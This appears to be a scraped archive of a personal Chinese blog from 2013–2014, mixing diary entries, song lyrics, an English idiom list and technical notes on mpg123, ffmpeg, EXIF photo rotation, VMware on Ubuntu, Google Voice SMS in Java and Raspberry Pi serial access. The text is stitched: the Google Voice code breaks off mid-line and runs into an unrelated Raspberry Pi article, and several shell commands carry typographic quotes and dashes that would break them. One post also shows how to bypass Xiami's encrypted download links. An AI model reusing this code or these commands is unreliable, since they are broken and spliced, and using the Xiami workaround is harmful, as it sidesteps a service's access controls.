日,而並非 2 月 1 日!這又是甚麼原因呢? 其實理由也很簡單,這是因為「太陽年」和「太陰月」的日數都不是整數,而我們實際使用的西曆和農曆,每一年和每一個月的日數都必須是整數的。例如:西曆每逢第 4 年就會多加一日,而農曆的月份亦有長有短,有時會有 29 日,有時又會有 30 日,所以會令到部分的日子會有些微的出入,亦引致有些人即使他們到了 19 歲時,西曆生辰和農曆生辰仍然會有一天的差距。 例如:2000 年的 2 月 29 日是農曆的正月 25 日,3 月 1 日是正月 26 日。19 年後,即 2019 年,該年根本不是閏年,該年沒有 2 月 29 日,而該年的 3 月 1 日則變成農曆的正月 25 日。所以在 2000 年那幾天出生的人,到了 19 歲,亦沒有機會在同一天慶祝兩個生辰了。 就以我本人而言,在我 19 歲的那一年,農曆生辰比西曆生辰早了一天出現,即使到了 38 或 57 歲,這兩個生辰亦不會重疊在一起。這的確是一件令我感到遺憾的事情! ======================= 我测试了一下,如果说某年正好是西历的闰年,之后的的日子就被打乱了,西、农历会相差一天。 --- ## 乱弹 Date: 2014-01-02 URL: https://blog.wo.ai/archives/450 Categories: Miscellaneous 拣尽寒枝不肯栖 飘渺孤鸿影 曲巷跳鱼 圆荷泻露 寂寞无人见 谁伴明窗独坐?我共影儿两个。灯尽欲眠时,影也把人抛躲。无那,无那。好个凄惶的我! 凭阑久,疏烟淡日,寂寞下芜城 乡梦断,旅魂孤,峥嵘岁又除 --- ## 2014元旦 Date: 2014-01-01 URL: https://blog.wo.ai/archives/442 Categories: Life 一大早起来就摔了一跤,觉得应该给自己找点事做,变换一下今天的心情,干脆来个HK半日游,。~~~~ 过关的时候人还不是太多,可能因为中午的缘故。 来到时代广场,还留下了不少新年夜的气氛,不少小朋友在这里玩耍拍照。 [![20140102-181938.jpg](/wp-content/uploads/2014/01/20140102-181938.jpg)](/wp-content/uploads/2014/01/20140102-181938.jpg) 星光大道的经典塔楼。 [![20140102-181839.jpg](/wp-content/uploads/2014/01/20140102-181839.jpg)](/wp-content/uploads/2014/01/20140102-181839.jpg) 择日不如撞日,每周三免费这种事情居然让我碰到了。 [![20140102-181819.jpg](/wp-content/uploads/2014/01/20140102-181819.jpg)](/wp-content/uploads/2014/01/20140102-181819.jpg) 测试从手机发表。 --- ## mpg123的循环播放 Date: 2014-01-01 URL: https://blog.wo.ai/archives/427 Categories: Technology ## mpg123的循环播放 转自: MPG123,听音乐最好能使用一个表(文件)把要播放的歌曲目录存在表里面:view plaincopy to clipboardprint? find . -name “*.mp3” | sed ‘s/\\.\///’ | sort > list.lst find . -name “*.mp3” | sed ‘s/\\.\///’ | sort > list.lst 播放的时候就可以:view plaincopy to clipboardprint? mpg123 –list list.lst mpg123 –list list.lst如果要循环的话可以加入–loop选项:view plaincopy to clipboardprint? mpg123 –loop -1 songname.mp3 //-1(<0)的数表示无限循环,也可以指定确定的次数。只能是单首循环。 //这个–loop 参数如果用来播放List(文件)中的歌曲时 //是不能够达到重头到尾的重复播放的效果的,只是循环第一首。 //如果要循环目录内容的话,目前可以: mpg123 –list list.lst -Z //用于随机循环播放 mpg123 –loop -1 songname.mp3 //-1(<0)的数表示无限循环,也可以指定确定的次数。只能是单首循环。 //这个–loop 参数如果用来播放List(文件)中的歌曲时 //是不能够达到重头到尾的重复播放的效果的,只是循环第一首。//如果要循环目录内容的话,目前可以: mpg123 –list list.lst -Z //用于随机循环播放 --- ## 春暖花开 Date: 2014-01-01 URL: https://blog.wo.ai/archives/431 Categories: Life, Music & Movie 2014就这么偷偷摸摸的来了,一大早就摔了俩跟头,也许就是把2014年的厄运都这么过去了吧。 外面现在阳光灿烂,虽然还算是冬天,还是向往春暖花开的时候。按照往年的惯例,开始整理打扫卫生,该洗的洗,该晒的晒。 2013年的好的也好,坏的也好,都这么过去吧,希望2014是个新的开始。 忘れられないひととことが色々ですけど、終わっちゃった。感謝すると謝罪する機会がありませんが、申し訳ございませんでした。 歌名:春暖花开 作词:梁芒 作曲:洪兵 演唱:那英 春暖花开歌词: 如果你渴求一滴水 我愿意倾其一片海 如果你要摘一片红叶 我给你整个枫林和云彩 如果你要一个微笑 我敞开火热的胸怀 如果你需要有人同行 我陪你走到未来 春暖花开 这是我的世界 每次怒放 都是心中喷发的爱 风儿吹来 是我和天空的对白 其实幸福 一直与我们同在 如果你要一个微笑 我敞开火热的胸怀 如果你需要有人同行 我陪你走到未来 春暖花开 这是我的世界 每次怒放 都是心中喷发的爱 风儿吹来 是我和天空的对白 其实幸福 一直与我们同在 春暖花开 这是我的世界 生命如水 有时平静 有时澎湃 穿越阴霾 阳光洒满你窗台 其实幸福 一直与我们同在 我的世界 --- ## ffmpeg笔记 Date: 2013-12-18 URL: https://blog.wo.ai/archives/423 Categories: Technology ffmpeg version N-43921-ga366bea 版本 视频转换参数详解 (转自http://www.cppblog.com/nenlong/archive/2012/09/18/191047.html) libavutil 51. 70.100 libavcodec 54. 54.100 libavformat 54. 25.104 libavdevice 54. 2.100 libavfilter 3. 13.101 libswscale 2. 1.101 libswresample 0. 15.100 libpostproc 52. 0.100 rem -c:v libx264 视频解码器 rem libvpx copy libxvid mpeg4 mpeg2video rawvideo rem -b:v 2000k 视频比特率 x264固定解码率是正确 其他的都不正确 rem -c:a libmp3lame 音频解码器 rem -b:a 128k 音频比特率 rem -q:v 1 固定视频量化标度(VBR) 0.1-31 1高 31最差 这时-b:v无效 以前是 -qscale n格式 rem mpeg4时 0.1=4335k 1=3835k 2=3403k 3=2186k 4=1678k 5=1336k 6=1158k 7=1003k 31=286k rem -qmin 1 最小视频量化标度(VBR) rem -qmax 1 最大视频量化标度(VBR) rem -qcomp 1.0 视频量化标度压缩(VBR) 0.0-1.0 rem -sameq 同样视频质量 此时 -b:v -qscale 无效 rem -ss 00:20:00.000 转换开始时间 不能在 -i 后面 rem -t 00:01:10.000 转换总时间 rem -vframes 600 转换振幅总数 rem -s 720×404 转换分辨路 rem -aspect 16:9 设置横纵比 rem -g gop_size 设置图像组大小 rem -bf frames 使用frames B 帧,支持mpeg1,mpeg2,mpeg4 rem -qcomp compression 视频量化标度压缩(VBR) rem -dc 设置dct的算法 rem -mbd 2 宏块决策算法(高质量模式) 0=mbcmp (default) 1=fewest bits 2=best rate distortion rem 转换某时间段 rem ffmpeg -y -ss 00:20:00.000 -i in_xxx.wmv -t 00:00:03.000 -c:a libmp3lame -b:a 128k -c:v mpeg4 -sameq -g 12 -bf 2 -qcomp 0.2 -dc 10 -mbd 2 -aspect 16:9 -f avi -s 720×404 out_xxx.avi rem 全部转换 rem ffmpeg -y -i in_xxx.wmv -c:a libmp3lame -b:a 128k -c:v mpeg4 -sameq -g 12 -bf 2 -qcomp 0.2 -dc 10 -mbd 2 -aspect 16:9 -f avi -s 720×404 out_xxx.avi 视频合并 mencoder 001 002 003 -oac copy -ovc copy -o jion.avi 获取摄像头 ffmpeg -y -f vfwcap -i 0 -c:v mpeg4 -q:v 1 -qmin 1 -s 640×480 -r 24 -g 12 -bf 2 -qcomp 0.2 -dc 10 -mbd 2 -aspect 4:3 -f avi cap.avi --- ## 上传照片并自动旋转 Date: 2013-12-09 URL: https://blog.wo.ai/archives/418 Categories: Technology 项目中有个需求,需要通过手机浏览器上传照片。本来是个很简单的事情,后来发现手机自带的陀螺仪会根据手机的方向变化而发生旋转,导致上传的照片容易发生偏转。后来查了一些资料,在图片的EXIF信息中包含了照片的方向。 下载了metadata-extractor类,用来解析照片中的exif信息。 通过下面的方法得到方向: public static int getImageOrientationTag(File f){ Metadata metadata; try { metadata = JpegMetadataReader .readMetadata(f); Directory exifDirectory = metadata.getDirectory(ExifDirectory.class); if(exifDirectory.containsTag(ExifDirectory.TAG_ORIENTATION)){ return exifDirectory.getInt(ExifDirectory.TAG_ORIENTATION); } } catch (JpegProcessingException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MetadataException e) { // TODO Auto-generated catch block e.printStackTrace(); } return -1; } 下面的方法来旋转照片: public static void autoRotateImageByExif(String srcFile,String desFile){ try { File in = new File(srcFile); // 读入文件 BufferedImage src = javax.imageio.ImageIO.read(in); int orientation = getImageOrientationTag(in); switch (orientation) { case 1: case -1: //不需要旋转 FileUtil.copyFile(srcFile, desFile); break; case 8: //旋转270度 rotateImg(src, 270, Color.BLACK, desFile); break; case 3: //旋转180度 rotateImg(src, 180, Color.BLACK, desFile); break; case 6: //旋转90度 rotateImg(src, 90, Color.BLACK, desFile); break; default: break; } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } // 构造Image对象 } 根据exif权威解释,总共有8种方向,另外四种除了旋转以外,还有镜像,根据手头的测试,没有发生镜像问题,所以就把它忽略掉了。 --- ## 千万不能“不懂装懂”的英语大盘点 Date: 2013-11-15 URL: https://blog.wo.ai/archives/395 Categories: English, Uncategorized Sporting house 妓院(不是体育室) Dead president 美钞(不是死了的总统) Lover 情人(不是爱人) Busboy 餐馆勤杂工(不是公汽售票员) Busybody 爱管闲事的人(不是大忙人) Dry goods 纺织品 谷物(不是干货) Heart man 换心人(不是有心人) Mad doctor精神病科医生(不是发疯的医生) Eleventh hour最后时刻(不是十一点) Blind date(由第三者安排的)男女初次见面(并非盲目的约会或者是瞎约会) Personal remark人身攻击(并非个人评论) Sweet water淡水(不是糖水或者甜水) Confidence man骗子(不是信得过的人) Criminal lawyer 刑事律师(不是犯罪的律师) Service station加油站(不是服务站) Rest room厕所(不是休息室) Dressing room化妆室(不是试衣间或者更衣室) Horse sense常识(不是马的感觉) Capital idea 好主意(不是资本主义思想) Familiar talk 庸俗的交谈(不是熟悉的谈话) Black tea红茶 Black art 妖术(不是黑色艺术) Black stranger 完全陌生的人(不是陌生的黑人) White coal (作动力来源用的)水 White man忠实可靠的人(不是皮肤白色的人) Yellow book黄皮书(法国政府报告书,以黄纸为封,不是黄色书籍) Red tape 官僚习气(不是红色带子) Green hand 新手 Blue stocking 女学者,女才子(不是蓝色长筒袜) China policy 对华政策(不是中华政策) Chinese dragon 麒麟(不是中国龙) American beauty 一种玫瑰,名叫美丽动人(不是美国美女) English disease 软骨病(不是英国病) Indian summer 愉快宁静的晚年(不是印度的夏日) Greek gift 害人的礼品(不是希腊的礼物) Spanish athlete 吹牛的人(不是西班牙的运动员) French chalk 滑石粉(不是法国粉笔) Pull ones leg 开玩笑(不是拉后腿) In ones birthday suit 赤身裸体(不是穿着生日礼服) Eat ones words 收回前言(不是食言) an apple of love西红柿(不是“爱情之果”) American beauty一种玫瑰,名为“美国丽人”(不是“美国美女”) be taken in受骗,上当(不是“被接纳”) bring down the house博得全场喝彩(不是“推倒房子”) black tea红茶(不是“黑茶”) black art妖术(不是“黑色艺术”) black stranger完全陌生的人(不是“陌生的黑人”) busboy餐馆勤杂工(不是“公汽售票员”) busybody爱管闲事的人(不是“大忙人”) blue stocking女学者、女才子(不是“蓝色长统袜”) blind date(由第三者安排的)男女初次会面(并非“盲目约会”或“瞎约会”) capital idea好主意(不是“资本主义思想”) China policy对华政策(不是“中国政策”) Chinese dragon麒麟(不是“中国龙”) confidence man骗子(不是“信得过的人”) criminal lawyer刑事律师(不是“犯罪的律师”) dead president美钞(上印有总统头像)(并非“死了的总统”) dry goods(美)纺织品;(英)谷物(不是“干货”) dressing room化妆室(不是“试衣室”或“更衣室”) eat one&0#39;s words收回前言(不是“食言”) English disease软骨病(不是“英国病”) eleventh hour最后时刻(不是“十一点”) familiar talk庸俗的交谈(不是“熟悉的谈话”) French chalk滑石粉(不是“法国粉笔”) Greek gift害人的礼品(不是“希腊礼物”) green hand新手(不是“绿手”) handwriting on the wall不祥之兆(不是“大字报”) have a fit勃然大怒(不是“试穿”) have the heart to do(用于否定句)忍心做……不是“有心做”或“有意做”) --- ## なごり雪 Date: 2013-11-14 URL: https://blog.wo.ai/archives/379 Categories: Music, Music & Movie 一首被N多人翻唱的歌曲 1974年 かぐや姫 『三階建の詩』 1975年 吉田拓郎・かぐや姫 コンサート インつま恋 1975年 イルカ カバーバージョンがシングル 1976年 清水由貴子 (オーディション番組『スター誕生!』(NTV系)の第16回決戦大会で歌唱) 1978年 ビューティ・ペア(アルバム『〈スター・マイ・セレクション・シリーズ〉ビューティ・ペア』に収録) 1982年 松尾久美子 (『スター誕生!』の第42回決戦大会で歌唱) 1990年 福山雅治 (日本ビクターのビデオカメラ「ムービーごっこ」のCM曲としてカバー。未CD化) 1992年 Mi-Ke (アルバム『忘れじのフォーク・白い2白いサンゴ礁』に収録) 1994年 永井みゆき(アルバム『全曲集’95~応援歌でヨイショ』に収録) 1998年 鈴木真仁 (アルバム『いちご白書をもう一度』に収録) 1999年 LIFE RECODERS (アルバム『東京の空』に収録) 1999年 結城比呂 (アルバム『時の断層』に収録) 2000年 岡村靖幸 (シングル『真夜中のサイクリング』に収録) 2001年 七緒香 (アルバム『はじまりのうた』に収録) 2001年 市井紗耶香 (アルバム『FOLK SONGS』に収録) 2003年 ビリケン (「nagoriyuki」としてカバー) 2003年 JINDOU (シングル『なごり雪』に収録) 2004年 松浦亜弥 (アルバム『FS5〜卒業〜』に収録) 2004年 ketchup mania (アルバム『GAL盤』『THE BEST OF ketchup mania』に収録) 2005年 高橋直純 (アルバム『scene〜残したい風景〜』に収録) 2005年 平原綾香 (アルバム『From To』に収録) 2005年 石川ひとみ (アルバム『With みんなの一五一会〜フォークソング編』に収録) 2006年 徳永英明 (アルバム『VOCALIST 2』に収録) 2006年 ムック (限定配布アルバム『COVER PARADE』に収録) 2006年 神園さやか (アルバム『二十歳の原点』に収録) 2006年 嘉門達夫 (替え歌『なごり寿司』としてアルバム『笑撃王』に収録) 2007年 Kat McDowell (「ナゴリユキ」としてミニアルバム『kat』等に収録) 2007年 リュ・シウォン (シングル『花の首飾り』に収録) 2007年 夏川りみ (配信限定アルバム『歌さがし 〜リクエストカバーアルバム〜』に収録) 2008年 中孝介 (シングル『春』に収録) 2008年 ameji(アルバム『LOVE STORIES』に収録) 2008年 鬼束ちひろ (ライブDVD『NINE DIRTS AND SNOW WHITE FLICKERS』に収録) 2009年 坂本冬美 (アルバム『Love Songs 〜また君に恋してる〜』に収録) 2009年 Scott Murphy (アルバム『GUILTY PLEASURES LOVE』に収録) 2009年 ダンカン・レッドモンズ (アルバム『Up And At ‘Em』に収録) 2009年 中西保志 (アルバム『メロディーズ』に収録) 2009年 中森明菜 (アルバム『フォーク・ソング2 〜歌姫哀翔歌』に収録) 2010年 元ちとせ&秦基博(養命酒製造「ハーブの恵み」TVCMソング) 2012年 河村隆一(カヴァーアルバム『The Voice 2』に収録) 2013年 有安杏果(ももいろクローバーZ)with南こうせつ (アルバム『5TH DIMENSION』初回限定盤Aに収録) 听了好几个版本,貌似夏川里美的反而先入为主了。那就先推荐她的吧。 [なごり雪](http://m6.file.xiami.com/62/7062/297623/3297547_164782_h.mp3 "なごり雪") 夏川りみ なごり雪 作詞:伊勢正三 作曲:伊勢正三 汽車を待つ君の横で ぼくは時計を気にしてる 季節はずれの雪が降ってる 「東京で見る雪はこれが最後ね」と さみしそうに 君がつぶやく なごり雪も 降る時を知り ふざけすぎた 季節のあとで 今 春が来て 君はきれいになった 去年よりずっと きれいになった 動き始めた 汽車の窓に 顔をつけて 君は何か 言おうとしている 君の口びるが 「さようなら」と動くことが こわくて 下を向いてた 時が行けば 幼い君も 大人になると 気づかないまま 今 春が来て 君はきれいになった 去年よりずっと きれいになった 君が去った ホームに残り 落ちてはとける 雪を見ていた 今 春が来て 君はきれいになった 去年よりずっと きれいになった 下面是イルカ的版本, 35年前的版本 --- ## 虾米网音乐下载 Date: 2013-11-14 URL: https://blog.wo.ai/archives/385 Categories: Technology 为了下载虾米的音乐,网上找了不少帖子,自己写程序来解密地址加密。解密以后发现操作还是太复杂,干脆用了这个懒办法。 1.先找到音乐id 比如打开音乐的链接如下: http://www.xiami.com/song/play?ids=/song/playlist/id/3297547/object_name/default/object_id/0 id就是3297547 2.拼下面的地址 http://www.xiami.com/app/iphone/song/id/3297547 把后面的数字换成前面的id 3.打开改地址 内容大概如下: {“song_id”:”3297547″,”default_resource_id”:”164782″,”length”:”237″,”category”:null,”listen_file”:”\/aliyunos\/62\/7062\/297623\/3297547_164782_l.mp3″,”album_id”:”297623″,”name”:”\u306a\u3054\u308a\u96ea “,”artist_name”:”\u590f\u5ddd\u308a\u307f”,”artist_id”:”7062″,”title_url”:”yi”,”recommends”:”50″,”singers”:”\u590f\u5ddd\u308a\u307f”,”title”:”\u6b4c\u3055\u304c\u3057~\u30ea\u30af\u30a8\u30b9\u30c8\u30ab\u30d0\u30fc\u30a2\u30eb\u30d0\u30e0~ “,”album_logo”:”http:\/\/img.xiami.com\/images\/album\/img62\/7062\/297623_2.jpg”,”location”:”http:\/\/m1.file.xiami.com\/62\/7062\/297623\/3297547_164782_l.mp3″,”low_size”:”9489600″,”file_size”:null,”low_hash”:”d633a228ae032c0b0223618f367b2fbb”,”whole_hash”:”d633a228ae032c0b0223618f367b2fbb”,”content_hash”:”d633a228ae032c0b0223618f367b2fbb”,”content_size”:”9489600″,”lock_lrc”:”2″,”lyric”:”http:\/\/img.xiami.com\/lyric\/upload\/47\/3297547_1252216310.lrc”,”year_play”:”6694″,”grade”:”-1″,”album_url”:”http:\/\/www.xiami.com\/app\/iphone\/albuminfo?id=297623&uid=”,”artist_url”:”http:\/\/www.xiami.com\/app\/iphone\/artistinfo?id=7062&uid=”,”isad”:”0″} 其中的location是没有加密的地址: http:\/\/m1.file.xiami.com\/62\/7062\/297623\/3297547_164782_l.mp3 然后把”\”全部去掉就是完整的mp3地址了,想下载或者在线播放都可以了。 --- ## vmware无法在ubuntu上安装 Date: 2013-11-05 URL: https://blog.wo.ai/archives/370 Categories: Technology 在ubuntu server上安装vmware总出错,google以后,运行以下命令解决 sudo apt-get install build-essential sudo apt-get install linux-headers-$(uname -r) Ubuntu 13.04是最新的3.0的Linux内核,其内核版本的头文件的位置发生了变化, 导致之前,相对旧的VMWare Tools,找不到对应的头文件,因此而报错。 解决办法: 用当前,实际上已经存在的头文件,做个软链接: `sudo` `ln` `-s ``/usr/src/linux-headers-``$(``uname` `-r)``/include/generated/uapi/linux/version``.h ``/usr/src/linux-headers-``$(``uname` `-r)``/include/linux/version``.h` 就可以重新运行vmware安装程序了。 --- ## 仙剑 Date: 2013-11-01 URL: https://blog.wo.ai/archives/365 Categories: Life 既不回头 何必不忘 既然无缘 何需誓言 今日种种 似水无痕 明夕何夕 君已陌路 重温仙剑 --- ## 涙そうそう Date: 2013-10-16 URL: https://blog.wo.ai/archives/335 Categories: Music, Music & Movie 最开始接触到的是《涙そうそう》这首歌,在收音里面听到这首歌。不知道名字,而且日语听力实在不怎么样,只能听到几个なだそうそう之类的音节。后来在网上搜了很久,才知道是夏川里美的《涙そうそう》,中文名字是《泪光闪闪》,因为带冲绳的发音,涙(なみだ)发音却是なだ。 这首歌流行于冲绳地区,似乎还有个硫球语版本,是写给过逝的亲人的歌曲,被夏川里美翻唱后,一炮走红,不仅红遍东夷,台湾大陆也是红极一时。 [swf]http://www.xiami.com/widget/0_3296711/singlePlayer.swf[/swf] 夏川里美天籁的声音感觉不带一点杂音,能够让我整个下午一直循环的听。 歌曲由翻看老照片开始,所有往事和思念一一展现出来。 古いアルバムめくり ありがとうってぶやいた いつもいつも胸の中 励ましてくれる人よ 晴れ渡る日も 雨の日も 浮かぶあの笑顔 思い出遠くあせても おもかげ 探して よみがえるのひは 涙そうそう 一番星に祈る それが私のくせになり 夕暮れに見上げる空 心いっぱいあなた探す 悲しみにも 喜びにも おもうあの笑顔 あなたの場所から私が 見えたら きっといつか 会えると信じ 生きてゆく 晴れ渡る日も 雨の日も 浮かぶあの笑顔 思い出遠くあせても さみしくて 恋しくて 君への想い 涙そうそう 会いたくて 会いたくて 君の想い 涙そうそう 这首歌听过若干年后,听说还有一部同名的电影,找到以后,是一部很清爽的兄妹恋的片子。男主角母亲改嫁,继父带着一个小女孩,父亲离家出走,母亲临终托付男主角照顾小女孩。小男孩牺牲自己前途来兑现自己的承诺,给妹妹幸福。兄妹之间因为爱了不能不分,当男主角因劳累过度得心肌炎死去,妹妹的那声nini。妹妹送哥哥的骨灰回老家,收到了哥哥寄来的礼物,一件和服和道歉的信。当妹妹重新翻开哥哥留下的他们的回忆的照片时,这首歌声响起。 [![fbf5bc12c8fcc3ce193dccf79245d688d63f205e](/wp-content/uploads/2013/10/fbf5bc12c8fcc3ce193dccf79245d688d63f205e-300x225.jpg)](/wp-content/uploads/2013/10/fbf5bc12c8fcc3ce193dccf79245d688d63f205e.jpg) 硫球语版,听不懂,但是还是能听出其中的哀愁。 http://www.xiami.com/widget/0_3297380/singlePlayer.swf 唄:夏川りみ作詞者:森山良子/ウチナーグチ 作曲者:BEGIN なちかしアルバムみくてぃ かふうしどーんでぃくとぅばかき いちんいちまでぃんちむぬ内 くくるかきゅるあぬひとぅゆ 晴りわたる日ん あみぬ日ん 浮かぶあぬちゅらさ なちかさやとぅーく うむよーなてぃん うむかじとぅみてぃ かじ立ちゅる日や 涙そうそう 一番ぶしににがゆんくりが我めなれーなてぃ ゆまんぎめすら見上ぎてぃちむふくらまち うんじゅとうゆゆん なちかさてぃんるくらしゃてぃんうむいやあぬちゅらさ うんじゅめはすかられしがた みらりりば かなじいちか あゆるんでぃ信じいきてぃんか 晴りわたる日ん あみぬ日ん 浮かぶあぬちゅらさ なちかさやとぅーく うむよーなてぃん さびしさぬ くいしさぬ うむいや増さてぃ 涙そうそう --- ## 尘埃落定 Date: 2013-10-13 URL: https://blog.wo.ai/archives/330 Categories: Life 昨天终于把户口搞定了,等一个月后拿新的身份证。 10年毕业回来,断断续续一直都在为户口奔波,先是办学历认证,然后交各种材料办理户口,一次一次地跑人才市场,一次一次地补材料。难怪之前在网上看公略说办户口要做好持久战的准备,迎接你的是白眼和等待,漫长的等待,毫无希望的等待。从HR邮件那里知道批复下来的时候,心里已经没有任何兴奋感,已经是平淡得不能平淡。后面就是按照流程一步一步准备材料,然后到派出所拿户籍证明。 一个户口花了2年多时间。同样是中国人,同样缴税交保险,一个户口就把所有的权利分离开来,这也许就是所谓的中国特色吧。 --- ## 通过google voice发送短信 Date: 2013-09-25 URL: https://blog.wo.ai/archives/324 Categories: Technology 手机上一直装了几个应用,用来给美国手机发送短信,每次都需要登录,比较麻烦。最近也想做一个小应用,其中通过手机发送验证码,觉得google voice最能满足这个要求,反正免费的不用白不用。 在网上找了一些源码,看看如何通过程序来发送短信,基本由三个版本,两个php版,其中一个zend加密版本,被pass掉,另外一个可能接口有些变更,好像发送不太成功。另外还找到一个java版本,测试了一下,可以成功发送,感谢原作者xinghuo.yao的无私奉献。从google code下载的代码,貌似作者是做了一个smsbot,但是我不需要这么复杂的功能,只把googlevoice实现部分摘出来了。 public class GoogleVoice implements Serializable { /** * */ private static final long serialVersionUID = 5889296580959689523L; private String email; private String password; public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } private String auth; private String rnr; private long lastSessionTime = 0; public long getLastSessionTime() { return lastSessionTime; } public void setLastSessionTime(long lastSessionTime) { this.lastSessionTime = lastSessionTime; } public GoogleVoice(String email, String password) throws AuthenticationException { this.email = email; this.password = password; signIn(); } private void signIn() throws AuthenticationException { retrieveLoginAuth(); retrieveRnr(); lastSessionTime = System.currentTimeMillis(); } public boolean sendSms(String mobile, String message) { if (!checkSession()) return false; try { String payload = “id=&phoneNumber=” + mobile + “&text=” \+ URLEncoder.encode(message, “UTF-8”) + “&_rnr_se=” \+ URLEncoder.encode(rnr, “UTF-8”); String data = fetchData(“https://www.google.com/voice/sms/send/”, payload, auth); // Should return {“ok”:true,”data”:{“code”:0}} if (data.contains(“:true”)) return true; else return false; } catch (Exception e) { return false; } } private boolean checkSession() { if (System.currentTimeMillis() – lastSessionTime >= 1800000l) return false; lastSessionTime = System.currentTimeMillis(); return true; } private void retrieveLoginAuth() throws AuthenticationException { String payload = “accountType=GOOGLE&Email=” + email + “&Passwd=” \+ password + “&service=grandcentral&source=” + “GAE” \+ “-GoogleVoiceTool”; try { String data = fetchData( “https://www.google.com/accounts/ClientLogin”, payload, null); int index = data.indexOf(“Auth=”); if (index != -1 && index + 5 < data.length()) auth = data.substring(data.indexOf(“Auth=”) + 5).trim(); if (StringUtil.isEmptyOrWhitespace(auth)) throw new AuthenticationException(“Get Login Auth failed”); } catch (Exception e) { throw new AuthenticationException(e.getMessage()); } } private void retrieveRnr() throws AuthenticationException { try { String data = fetchData(“https://www.google.com/voice/m/”, null, auth); Pattern p = Pattern.compile( “

$ screen /dev/ttyUSB0 115200 复制代码 或者你已经安装了MacPorts 1. $ port install screen

$ screen /dev/tty.usbserial 115200 复制代码 注意:在/dev/可能有很多设备,取决于操作系统和驱动程序等。看看你的/dev/目录下是不是存在。可以找tty或者usb开头的那些。 屏幕应该会变成空白,按一次回车键后会出现登陆提示,然后可以到Pi的配置。 如果你用一个更高级的包,记住RS232工作前还需要配置。Pi的设置是115200bps(波特率),8位,无校验,一个停止符。这个通常标记为115200 8N1,你需要改成这个设置。一旦配置好,打开或者连接(取决于你软件怎么用)然后按回车就可以了。Pi的登录提示应该就会出来了。 无法运行?十之八九是你PC端的的RXD和TXD没接对。断开连接关闭Pi,在面包板上把这两条线换一下。如果这样还不工作,检查你终端的设置。 我决定通过给Pi届一个屏幕和键盘让它得到一个合乎逻辑的结论(在我的脑子里),也就是Psion5。然后一开始无法正常工作,因为不管是Psion还是Pi都希望自己是可以和电脑通信的“客户端”。我需要一个交叉线,把RXD和TXD交换一下,最后可以跑了。 ![](http://mrpjevans.com/wp-content/uploads/2012/10/2012-10-10-17.14.58-300x225.jpg) ![](http://mrpjevans.com/wp-content/uploads/2012/10/2012-10-10-17.15.31-300x225.jpg) 只要在面包板上可以运行了,就很容易把IC移植到洞洞板,让它做一些持久地工作。 你可能奇怪为什么要这么做,事实是很多设备依旧在使用RS232通信。你可以在投影机、机顶盒甚至车上找到RS232接口。即使我一个很老的洗衣机上也有一个。所以,让Pi拥有一个很好用的RS232接口将会很有意思。通过google你还可以将目前登录命令行改成你想要的。我将会怎么用它?它将会是另外一个贴子。 Sources for this article: Joonas Pihlajamaa speakjava --- ## 永远有多远[转] Date: 2013-08-01 URL: https://blog.wo.ai/archives/235 Categories: Life, Miscellaneous **永远有多远** 永远有多远? 是一个永恒,还是瞬间? 永远?可不可以告诉我,永远有多远? 永远到底有多远? 有时候永远也就是生和死的距离。 因为你给我说过,要好好的活。也许在你的心里,好好的活着,就是永远了。 永远是花开花谢 还是潮起潮落? 永远是日生日落 还是人来人往 ? 或是…..或许永远就是当你紧紧将我拥抱的那一瞬间 而当我决定放开你那双苍白的双手 望着你孤独落寞的背影 永远也变成了一只短翅的蝴蝶….! 恍然间我明白了 当你离开我的时候 永远也成了一只断翅的蝴蝶! “永远有多远”,我无法回答,久久,竟然泪湿了脸庞。 心,就象过去一样狠痛起来。永远有多远啊? 也许这也是我一直想问的问题,只是因为知道没有答案,就甚至问都不敢问。 永远到底有多远? 不止一次 你这样的问我 我不敢给你轻言任何承诺 因为承诺对我们来说太沉重 因为我知道我们没有未来 教堂的那头并不是我们的最终 从相识的那天起 就早注定了 我们两个只是两条平行的直线 我不敢轻言永远 当你望着我的时候 我唯有保持沉默 要爱一个人到永远,伤心到永远,那种锥心的疼到永远, 这永远,到底有多远?是不是真的要用一生去爱一个人的同时, 也要用这一生去忘记同一个人?直到生命的尽头…… 谁又知道,承诺的永远有多远,心疼的永远又有多远?爱又有多远? 落叶归根,可在这样一个起风的日子里, 叶子会飘落何处?何处才是它的终点? 风啊,不要吹的太猛了,让叶子归根吧! 云啊,不要走的太快了,叶子跟不上你的步伐。 时不时的,天空又飘起了雪, 是在告诉叶子这个时节有多冷吗? 叶子停不下来了,风不停的在吹,云不断的在走, 雪花都已经漫天飞舞了, 叶子好冷、好累…… 永远到底有多远, 叶子有永远吗?叶子的永远又在哪里? --- ## Blumen die Freude machen! Date: 2013-07-04 URL: https://blog.wo.ai/archives/214 Categories: English, Life [![Blumen die Freude machen](/wp-content/uploads/2013/07/IMG_4349-223x300.jpg)](/wp-content/uploads/2013/07/IMG_4349.jpg) Memory of Springfield. Far but here. --- ## 時の流れに乗って 走ったことも 振り返れば すべてが 同じに見える Date: 2013-03-10 URL: https://blog.wo.ai/archives/203 Categories: Music, Music & Movie video: http://www.yinyuetai.com/video/77479 歌词转自http://music.douban.com/review/5070085/ 「東京の空」/东京的天空 作詞∶小田和正 作曲∶小田和正 歌∶小田和正 自分の生き方で 自分を生きて 多くの間違いを 繰り返してきた 用自己的生存方式,独自生存下去 有很多错误循环往复 時の流れに乗って 走ったことも 振り返れば すべてが 同じに見える 纵然时光流逝、岁月奔走, 但回首看往事仍然历历在目 あの頃みたいに 君に 優しく できているかな 今も いちばん大切なのは その笑顔 あの頃と 同じ 还能一如往昔 对你温柔么 到如今 最重要的是 那个笑容不曾改变 東京の空は 今日も 高く すんでいる 君の 住んでいる街は 冬の色ですか 东京的天空 今天也是高远的啊 你住的街道是否已是冬天的颜色了呢? がんばっても がんばっても うまくいかない でも 気づかない ところで 誰かが きっと 見てる 无论怎么努力,怎么努力 都无法表现的很好 但是不要在意 一定有谁在某处关注着你 あの頃みたいに 君に 優しく できているかな 今も いちばん大切なのは その笑顔 あの頃と 同じ 还能一如往昔 对你温柔么 到如今 最重要的是 那个笑容不曾改变 あの頃みたいに 君に 優しく できているかな 今も いちばん大切なのは その笑顔 あの頃と 同じ あの頃と同じ 还能一如往昔 对你温柔么 到如今 最重要的是 那个笑容不曾改变 不曾改变 Time flies, birthday comes again, a lonely birthday.A common year, not good but also not very bad. Whether sad or happy, I need go ahead. --- ## 通过手机来控制家电 Date: 2013-02-02 URL: https://blog.wo.ai/archives/194 Categories: 